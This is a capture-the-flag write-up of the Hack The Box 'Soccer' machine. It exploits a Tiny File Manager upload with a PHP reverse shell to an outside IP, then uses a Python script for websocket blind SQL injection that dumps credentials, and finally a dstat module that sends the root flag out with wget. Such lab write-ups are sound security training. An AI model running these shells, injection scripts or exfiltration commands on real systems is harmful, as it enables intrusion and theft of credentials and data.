Hack The Box: Soccer
Sumary
- Sumary
- Overview
- Nmap
- Obtaining Credentials With SQL Injection
- Privilage Escalation with doas + dstat
- Extra Mile
Overview
- Discover
soccer.htb
- Brute force directories to find
tinyfilemanager
- Exploit a file upload vulnerability to get an initial shell as
www-data
- Internal enumeration to find the
soc-player.soccer.htb
name - Exploit a SQL Injection vulnerability via websockets to get user and password for the user
player
- ssh in as
player
- Enumerate again and find that the user can run
dstat
as root through thedoas
program - Get root
Nmap
danp@local:~|⇒ nmap -sV 10.10.11.194
Starting Nmap 7.94 ( https://nmap.org ) at 2023-05-27 22:53 -03
Nmap scan report for 10.10.11.194
Host is up (0.091s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
-sV
: Enumerate versions from the services
Port 80
here will be our focus, since port 9091
just returns 404’s and my initial enumeration on it returned nothing.
Exploiting tiny file manager
Accessing the http port we get redirected to soccer.htb
, Let’s update our /etc/hosts
file.
danp@local:~|⇒ cat /etc/hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
10.10.11.194 soccer.htb
The website is basically a static page and does not tell us much, my next step was to try to enumerate some hidden directories
danp@local:~|⇒ ~/go/bin/gobuster dir -w ~/Documents/tools/SecLists/Discovery/Web-Content/big.txt -u http://soccer.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/danp/Documents/tools/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/05/27 23:06:03 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 162]
/.htaccess (Status: 403) [Size: 162]
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 20434 / 20477 (99.79%)
===============================================================
2023/05/27 23:09:17 Finished
===============================================================
According to the official Github page:
TinyFileManager is web based PHP file manager and it is a simple, fast and small size in single-file PHP file that can be dropped into any folder on your server, multi-language ready web application for storing, uploading, editing and managing files and folders online via web browser.
Authenticating with Default Credentials
The first thing I always like to do when I face applications of this kind is to search for default credentials. According to that same github page:
admin:admin@123
user:12345
Using the admin
credentials we can successfully login.
Notice the version diplayed at the bottom right corner
Uploading Malicious PHP File
Searching for vulnerabilities for this particular version, we find CVE-2021-45010. This vulnerability allows authenticated users to upload malicious php code and execute arbitrary commands on the server.
We can find a pretty good repository with an exploit for this vulnerability here: Github exploit page
However, the exploit will not work because the web root is not writable for www-data
.
Inside this tiny
folder, there is the uploads
folder which has the proper permissions for any user to write inside it, 0757
.
Check out this article on Linux permissions
We can create a php file that simply pops a shell in our machine
<?php
shell_exec('bash -c "sh -i >& /dev/tcp/10.10.14.14/9001 0>&1"')
?>
Let’s upload it
now, we can run it by going to /tiny/uploads/shell.php
Internal Enumeration as www-data
In order to escalate privileges on the machine, we are going to use Linpeas twice. To escalate www-data
-> player
and player
-> root
.
Steps to run as www-data
:
- Download the tool to our local machine
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
- Start a quick http server
python3 -m http.server 8082
- Wget the .sh script from the box
wget http://10.10.14.12:8082/linpeas.sh
- Run it
The Network Information
part of Linpeas shows us something interesting
══════════════════════════════╣ Network Information ╠══════════════════════════════
╚═════════════════════╝
╔══════════╣ Hostname, hosts and DNS
soccer
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
nameserver 127.0.0.53
options edns0 trust-ad
Another name that we can use soc-player.soccer.htb
, let’s include it in our local /etc/hosts
file and access it
We see a small menu on the top left corner with some endpoints. Since other attacks like injecting payloads on the login form and bruteforcing directories did not return anything useful, I just focused on those. So let’s create an account and login.
We see a /check
endpoint that asks for a ticket number to check if it exists
Obtaining Credentials With SQL Injection
Let’s see what’s going on with burp
There is a websocket server that is checking if the ticket is valid or not, let’s try to inject some payloads
With the payload 1 or 1=1
we see the confirmation our tests, we have a boolean based SQL Injection.
Since it is using websockets, we cannot send the request directly into sqlmap
by default. Let’s create an script to exploit it our way :-)
(At the end we exploit it with sqlmap in two ways, this is just for practice)
from websocket import create_connection
def send_payload(ws, payload, position, offset):
# Dump databases
#payload = f'1 or (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT {offset},1),{position},1))) = {payload}--'
# Dump soccer_db
#payload = f'1 or (ascii(substr((SELECT table_name FROM information_schema.TABLES WHERE table_schema=\'soccer_db\' LIMIT {offset},1),{position},1))) = {payload}--'
# Dump Columns from accounts table
#payload = f'1 or (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\'accounts\' LIMIT {offset},1),{position},1))) = {payload}--'
#Dump Data
payload = f'1 or (ascii(substr((SELECT HOST FROM accounts LIMIT {offset},1),{position},1))) = {payload}--'
ws.send('{"id": "'+payload+'"}')
return ws.recv()
def main():
URL = 'ws://soccer.htb:9091/'
ws = create_connection(URL)
print("============ Start Dumping Info ============")
for r in range(10):
print("")
for k in range(1, 20):
for i in range(33, 127):
response = send_payload(ws, i, k, r)
if "Ticket Exists" in response:
print(chr(i), end='', flush=True)
#print(chr(i))
break
if __name__ == '__main__':
main()%
Before we are able to extract any user’s data, we have to find how they’re being stored inside the database. The script has all the payloads I used to dump the information I needed, let’s run one by one.
The first step is to discover the database name, the payload for that is:
payload = f'1 or (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT {offset},1),{position},1))) = {payload}--'
danp@local:~/Documents/HackTheBox/Soccer|⇒ python3 websocket-sqlinjection.py
============ Start Dumping Info ============
mysql
information_schema
performance_schema
sys
soccer_db
We discover the database soccer_db
, now let’s find out its tables:
payload = f'1 or (ascii(substr((SELECT table_name FROM information_schema.TABLES WHERE table_schema=\'soccer_db\' LIMIT {offset},1),{position},1))) = {payload}--'
danp@local:~/Documents/HackTheBox/Soccer|⇒ python3 websocket-sqlinjection.py
============ Start Dumping Info ============
accounts
The accounts table is what we want, We could guess that username and password are the fields we must dump, but let’s dump the column’s names too just to make sure we are not missing anything
payload = f'1 or (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\'accounts\' LIMIT {offset},1),{position},1))) = {payload}--'
danp@local:~/Documents/HackTheBox/Soccer|⇒ python3 websocket-sqlinjection.py
============ Start Dumping Info ============
CURRENT_CONNECTIONS
HOST
MAX_SESSION_CONTROL
MAX_SESSION_TOTAL_M
TOTAL_CONNECTIONS
USER
email
id
password
username
The next payload extracts the users from the accounts table:
payload = f'1 or (ascii(substr((SELECT username FROM accounts LIMIT {offset},1),{position},1))) = {payload}--'
danp@local:~/Documents/HackTheBox/Soccer|⇒ python3 websocket-sqlinjection.py
============ Start Dumping Info ============
player
Now the passwords:
payload = f'1 or (ascii(substr((SELECT password FROM accounts LIMIT {offset},1),{position},1))) = {payload}--'
danp@local:~/Documents/HackTheBox/Soccer|⇒ python3 websocket-sqlinjection.py
============ Start Dumping Info ============
PlayerOftheMatch2022
We find the credentials for player user: player:PlayerOftheMatch2022
danp@local:~/Documents/HackTheBox/Soccer|⇒ ssh player@soccer.htb
player@soccer.htb's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
..........
Last login: Mon May 29 19:13:05 2023 from 10.10.14.14
player@soccer:~$ cat user.txt
daba77<redacted>db3e
Privilage Escalation with doas + dstat
Our focus now, is to figure out what the player
can do that www-data
could not. Let’s run Linpeas again with that in mind.
Paying close attention to the Software Information part, one binary caught my attention
═════════════════════════════╣ Software Information ╠═════════════════════════════
╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/local/bin/doas
/usr/bin/g++
/usr/bin/gcc
/snap/bin/lxc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
The /usr/local/bin/doas was unknows to me, googling a lit bit about it and like sudo, doas is used to assume the identity of another user on the system. Enumerating its configurations according to this page:
player@soccer:/dev/shm$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:/dev/shm$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
So we can use /usr/bin/dstat
as root. gtfobins teaches us how to exploit:
- Create a file named
dstat_<module>.py
- Place it in inside
/usr/local/share/dstat/
- Run
doas -u root /usr/bin/dstat --<module>
I created a module that simply send a http request with the root.txt content to my server and called it dstat_danp.py
.
import os
os.system("wget http://10.10.14.14:8082/$(cat /root/root.txt)")
After sending the file to /usr/local/share/dstat/
I was able to run the command doas -u root /usr/bin/dstat --danp
and grab the final flag!
player@soccer:/dev/shm$ doas -u root /usr/bin/dstat --danp
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
--2023-05-29 20:22:01-- http://10.10.14.14:8082/39278<redacted>0ac1 ### Root flag here
Connecting to 10.10.14.14:8082... connected.
HTTP request sent, awaiting response... 404 File not found
2023-05-29 20:22:01 ERROR 404: File not found.
Module dstat_danp failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
danp@local:~/Documents/HackTheBox/Soccer|⇒ python3 -m http.server 8082
Serving HTTP on :: port 8082 (http://[::]:8082/) ...
::ffff:10.10.11.194 - - [29/May/2023 17:22:07] code 404, message File not found
::ffff:10.10.11.194 - - [29/May/2023 17:22:07] "GET /3927<redacted>ac1 HTTP/1.1" 404 - ### Root flag here
Extra Mile
Exploiting SQL Injection with SQLMap
It is very common to exploit SQL Injection attacks with SQLMap
, it is indeed a very powerful tool but by default does not support websockets by default, you must install python’s websocket-client
. We can exploit it in two ways:
- Creating a proxy server that forwards the http requests to the websocket server.
The script below starts a local http server that takes the sqlmap payload, forwards it to the websocket service and returns its response
import rich, json
from http.server import BaseHTTPRequestHandler,HTTPServer
import urllib.parse
from websocket import create_connection
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Get rid of the favicon request
if self.path == '/favicon.ico':
self.send_response(200)
self.send_header('Content-Type', 'image/x-icon')
self.send_header('Content-Length', 0)
self.end_headers()
return
# parse SQLMAP payload
try:
payload = urllib.parse.urlparse(self.path)
payload = payload.query[2:]
payload = urllib.parse.unquote(payload)
except:
pass
response = self.send_payload(payload)
self.send_response(200)
self.end_headers()
# Write the output on the webpage
self.wfile.write(str.encode(response))
return
# Send the payload to the websocket server
def send_payload(self, payload):
ws = create_connection("ws://soccer.htb:9091/")
data = {"id": f"{payload}"}
ws.send(json.dumps(data))
response = ws.recv()
ws.close()
rich.print(f"Proxying: {data}")
return response
def log_message(self, format, *args):
return
if __name__ == '__main__':
rich.print("\n =========== STARTING PROXY ===========")
server = HTTPServer(('localhost', 8080), GetHandler)
rich.print('\nStarting server at http://localhost:8080\n')
server.serve_forever()
Now, all we have to do is point the sqlmap
to http://localhost:8080
and exploit it normally
sqlmap -u "http://localhost:8080/?p=*" --level 5 --risk 3 --technique=B -T accounts --dump
- Run directly on SQLMap’s cli:
sqlmap -u "ws://soccer.htb:9091" --data '{"id": "1234"}' --dbs
also works!
That’s all folks 🐰